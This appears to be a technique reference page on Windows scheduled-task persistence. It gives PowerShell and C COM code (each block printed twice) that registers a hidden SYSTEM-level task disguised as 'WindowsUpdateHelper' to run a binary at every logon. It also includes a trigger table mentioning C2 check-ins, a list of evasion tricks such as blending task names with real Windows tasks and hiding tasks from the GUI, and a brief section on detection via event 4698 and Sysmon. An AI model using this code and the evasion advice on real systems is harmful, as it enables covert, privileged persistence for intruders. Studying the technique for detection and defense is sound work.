Scheduled Task Persistence
Overview
The Task Scheduler service executes registered tasks in response to triggers: system events, logon, a schedule, or an idle state. Unlike Run keys (which fire in the user session), tasks with a SYSTEM principal fire without any user logged on, making them useful for both persistence across logons and maintaining SYSTEM-level code execution.
Tasks are stored as XML files under C:\Windows\System32\Tasks and mirrored in the registry
under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache. Both locations
are readable by any authenticated user, making enumeration trivial.
Windows 10+ Defender and most EDR products treat the creation of a task with a SYSTEM principal by a non-administrative process as a high-confidence alert. The technique is most useful post-privilege-escalation, not as a first-stage landing.
The call chain
- 1schtasks /create or Task Scheduler COM APIRegister a new task with the Task Scheduler service (svchost -k netsvcs, Schedule).
- 2define triggerAtLogon, AtStartup, Daily, OnIdle, EventTrigger — what causes the task to fire.
- 3define actionExecute, ComHandler, SendEmail (deprecated), ShowMessage (deprecated).
- 4set principalRun as SYSTEM, a specific user, or the built-in Users group.
- 5(trigger fires)Task Scheduler service spawns the action from svchost — no user session interaction required for SYSTEM tasks.
Reference implementation
PowerShell (one-liner)
# Create a SYSTEM-level task that runs at every logon
$action = New-ScheduledTaskAction -Execute "C:\Windows\Temp\update.exe"
$trigger = New-ScheduledTaskTrigger -AtLogOn
$settings = New-ScheduledTaskSettingsSet -Hidden
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" `
-LogonType ServiceAccount -RunLevel Highest
Register-ScheduledTask -TaskName "WindowsUpdateHelper" `
-Action $action -Trigger $trigger `
-Settings $settings -Principal $principal `
-Description "Windows Update service companion"# Create a SYSTEM-level task that runs at every logon
$action = New-ScheduledTaskAction -Execute "C:\Windows\Temp\update.exe"
$trigger = New-ScheduledTaskTrigger -AtLogOn
$settings = New-ScheduledTaskSettingsSet -Hidden
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" `
-LogonType ServiceAccount -RunLevel Highest
Register-ScheduledTask -TaskName "WindowsUpdateHelper" `
-Action $action -Trigger $trigger `
-Settings $settings -Principal $principal `
-Description "Windows Update service companion"C via COM API
// Task Scheduler COM API — avoids calling schtasks.exe
#include <windows.h>
#include <taskschd.h>
#include <combaseapi.h>
#pragma comment(lib, "taskschd.lib")
#pragma comment(lib, "ole32.lib")
void create_task(const wchar_t *name, const wchar_t *exe_path) {
CoInitializeEx(NULL, COINIT_MULTITHREADED);
ITaskService *svc = NULL;
CoCreateInstance(&CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER,
&IID_ITaskService, (void**)&svc);
svc->lpVtbl->Connect(svc, _variant_t(), _variant_t(),
_variant_t(), _variant_t());
ITaskFolder *root = NULL;
svc->lpVtbl->GetFolder(svc, L"\\", &root);
ITaskDefinition *def = NULL;
svc->lpVtbl->NewTask(svc, 0, &def);
// Set to run as SYSTEM
IPrincipal *principal = NULL;
def->lpVtbl->get_Principal(def, &principal);
principal->lpVtbl->put_UserId(principal, L"S-1-5-18"); // SYSTEM SID
principal->lpVtbl->put_LogonType(principal, TASK_LOGON_SERVICE_ACCOUNT);
principal->lpVtbl->put_RunLevel(principal, TASK_RUNLEVEL_HIGHEST);
// Logon trigger
ITriggerCollection *triggers = NULL;
def->lpVtbl->get_Triggers(def, &triggers);
ITrigger *trigger = NULL;
triggers->lpVtbl->Create(triggers, TASK_TRIGGER_LOGON, &trigger);
// Action: execute our binary
IActionCollection *actions = NULL;
def->lpVtbl->get_Actions(def, &actions);
IAction *action = NULL;
actions->lpVtbl->Create(actions, TASK_ACTION_EXEC, &action);
IExecAction *exec_action = NULL;
action->lpVtbl->QueryInterface(action, &IID_IExecAction, (void**)&exec_action);
exec_action->lpVtbl->put_Path(exec_action, (BSTR)exe_path);
// Register the task
IRegisteredTask *reg = NULL;
root->lpVtbl->RegisterTaskDefinition(root, (BSTR)name, def,
TASK_CREATE_OR_UPDATE, _variant_t(), _variant_t(),
TASK_LOGON_SERVICE_ACCOUNT, _variant_t(), ®);
// cleanup omitted
CoUninitialize();
}// Task Scheduler COM API — avoids calling schtasks.exe
#include <windows.h>
#include <taskschd.h>
#include <combaseapi.h>
#pragma comment(lib, "taskschd.lib")
#pragma comment(lib, "ole32.lib")
void create_task(const wchar_t *name, const wchar_t *exe_path) {
CoInitializeEx(NULL, COINIT_MULTITHREADED);
ITaskService *svc = NULL;
CoCreateInstance(&CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER,
&IID_ITaskService, (void**)&svc);
svc->lpVtbl->Connect(svc, _variant_t(), _variant_t(),
_variant_t(), _variant_t());
ITaskFolder *root = NULL;
svc->lpVtbl->GetFolder(svc, L"\\", &root);
ITaskDefinition *def = NULL;
svc->lpVtbl->NewTask(svc, 0, &def);
// Set to run as SYSTEM
IPrincipal *principal = NULL;
def->lpVtbl->get_Principal(def, &principal);
principal->lpVtbl->put_UserId(principal, L"S-1-5-18"); // SYSTEM SID
principal->lpVtbl->put_LogonType(principal, TASK_LOGON_SERVICE_ACCOUNT);
principal->lpVtbl->put_RunLevel(principal, TASK_RUNLEVEL_HIGHEST);
// Logon trigger
ITriggerCollection *triggers = NULL;
def->lpVtbl->get_Triggers(def, &triggers);
ITrigger *trigger = NULL;
triggers->lpVtbl->Create(triggers, TASK_TRIGGER_LOGON, &trigger);
// Action: execute our binary
IActionCollection *actions = NULL;
def->lpVtbl->get_Actions(def, &actions);
IAction *action = NULL;
actions->lpVtbl->Create(actions, TASK_ACTION_EXEC, &action);
IExecAction *exec_action = NULL;
action->lpVtbl->QueryInterface(action, &IID_IExecAction, (void**)&exec_action);
exec_action->lpVtbl->put_Path(exec_action, (BSTR)exe_path);
// Register the task
IRegisteredTask *reg = NULL;
root->lpVtbl->RegisterTaskDefinition(root, (BSTR)name, def,
TASK_CREATE_OR_UPDATE, _variant_t(), _variant_t(),
TASK_LOGON_SERVICE_ACCOUNT, _variant_t(), ®);
// cleanup omitted
CoUninitialize();
}Trigger types
| Trigger | Class | Use case |
|---|---|---|
| At logon | TASK_TRIGGER_LOGON |
User-session persistence |
| At startup | TASK_TRIGGER_BOOT |
Pre-logon persistence, SYSTEM only |
| Daily / weekly | TASK_TRIGGER_DAILY |
Periodic C2 check-in |
| On event | TASK_TRIGGER_EVENT |
Reactionary — fire on a specific event log entry |
| On idle | TASK_TRIGGER_IDLE |
Low-activity execution to avoid detection |
Evasion tricks
- Task name blending — name the task after an existing Windows task (
\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant) - Random delay —
<RandomDelay>PT5M</RandomDelay>in the XML adds a random start delay - Hidden flag —
<Hidden>true</Hidden>hides the task from the Task Scheduler GUI (but not fromschtasks /query) - COM handler action —
TASK_ACTION_COM_HANDLERloads a registered COM object instead of a binary, leaving no obvious executable path in the task XML
Detection
Windows event 4698 (task created) in the Security log is the authoritative signal, but it
requires Advanced Audit Policy — specifically Audit Other Object Access Events. On endpoints
without this policy, Sysmon’s file creation event (EID 11) for the Tasks XML directory is the
next best thing.